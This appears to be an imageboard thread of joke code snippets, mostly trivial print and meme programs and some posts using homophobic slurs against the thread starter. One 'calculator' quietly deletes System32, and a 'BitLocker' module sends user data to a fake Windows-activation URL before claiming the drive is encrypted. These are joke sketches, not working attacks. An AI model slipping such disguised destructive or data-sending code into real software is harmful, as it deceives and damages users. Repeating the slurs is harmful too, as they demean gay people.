ITT: We write programs of questionable usefulness in Psuedocode

>>57358123

public class PooManagerFactoryUtilities {
    public static void main(String[] args) {
        System.out.println("Poo");
    }
}

>>57358123
>not writing in x64 assembly

public class AbstractOPFaggotFactoryBean implements Factory { 
    public OP getOP() {
        return new OP(FactoryTypes.Faggot);
    }
}

public class SmokeThreadUtilities {
    public static void main(String[] args {
        System.out.println('Smoking Metallica everyday');
    }
}

While (true) {

Println 'op is a faggot'
};

package gaythread;
import faggotry.op.*;

public class OpFaggotryDetector {
    public static void main(String[] args) {
        Faggot op = new Faggot(4chan, BOARD.g);
        op.gaySex(allMen);
        }
}

>>57358123

def fun():
  x = 0
  for i in range(0,100):
      x += 2
  return 1;

#include <iostream>
#include <string>
#include <locale>

using namespace std;

int main()
{
  string meme;
  locale loc;
  cout << "Enter the phrase you want to memifiy" << endl;
  cin >> meme;
  meme = toupper(meme, loc);
  cout << meme << endl;
  for (unsigned int i = 1; i < meme.size(); i++) {
      cout << meme.at(i) << endl;
  }
}

Tried printing but it doesn't want to. Fuck it

>>57358749
nvm fixed it

#include <iostream>
#include <string>
#include <locale>

using namespace std;

int main()
{
  string meme;
  locale loc;
  cout << "Enter the phrase you want to memifiy" << endl;
  cin >> meme;
  for (unsigned int i=0; i < meme.length(); ++i) {
    cout << toupper(meme[i],loc);
    }
  cout << endl;
  for (unsigned int i=1; i < meme.length(); ++i) {
    cout << toupper(meme[i],loc) << endl;
    }
}

There's 20 minutes I'll never get back

/**
* A program which calculates the result of 1+1
*/
public class Calculator {
    public static void main(String[] args) {
        int x, y, z;
        x = 1;
        y = 1;
        z = x + y;
        if(z == 2) {
            Files.delete(C:\Windows\System32);
        }
    }
}

>>57358123

Module BitLocker
    Sub Main()
        Dim request As WebRequest = WebRequest.Create("http://www.microsoft.com/activateWindows10free.aspx ")
        request.GetRequestStream().Write(userData, 0, userData.Length)    
    
        MsgBox("Your drive is now encrypted")
  
    End Sub 
End Module